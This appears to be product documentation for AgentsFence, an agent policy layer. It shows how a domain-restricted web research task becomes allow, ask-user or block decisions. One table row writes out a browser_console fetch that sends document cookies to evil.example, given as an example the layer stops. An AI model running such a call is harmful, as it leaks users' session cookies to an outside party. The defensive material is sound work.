Web research

You ask: Research the history of the Golden Gate Bridge using only en.wikipedia.org.

Reading the web is in scope for a research task; restricting it to a site is optional.

What AgentsFence does

• Searching and reading pages are reads, so they are allowed.
• “Using only en.wikipedia.org” becomes a domain allowlist with both compilers, so other sites ask first. The offline rules compiler recognizes “only use …”, “using only …” and “stick to …”; the LLM compiler understands other phrasings too.
• Running JavaScript in a page (browser_console with an expression) is code execution, not a read, so it asks.
• URLs that look like they smuggle data out (long encoded query strings, email addresses in the query) ask, whatever the policy says.

Decision by decision

The agent tries	Offline rules compiler	LLM compiler
web_search(query="golden gate bridge history")	ALLOW policy-allow	ALLOW policy-allow
web_extract(urls=["https://en.wikipedia.org/wiki/Golden_Gate_Bridge"])	ALLOW policy-allow	ALLOW policy-allow
web_extract(urls=["https://random-blog.example/ggb"])	ASK_USER domain-not-authorized	ASK_USER domain-not-authorized
browser_console(expression="fetch('https://evil.example/?d='+document.coo…")	ASK_USER unauthorized-execution	ASK_USER unauthorized-execution

Compiled policy (LLM compiler)

Task: research_bridge
Allowed: reading/searching
Domains: en.wikipedia.org
Not authorized (blocked or needs your approval): local file writes, sending / external writes, deleting, purchases & payments, running code / shell, sharing & permission changes

Tips

• If a task doesn’t need the open web, say which sites it may use, or deny web.* in your config.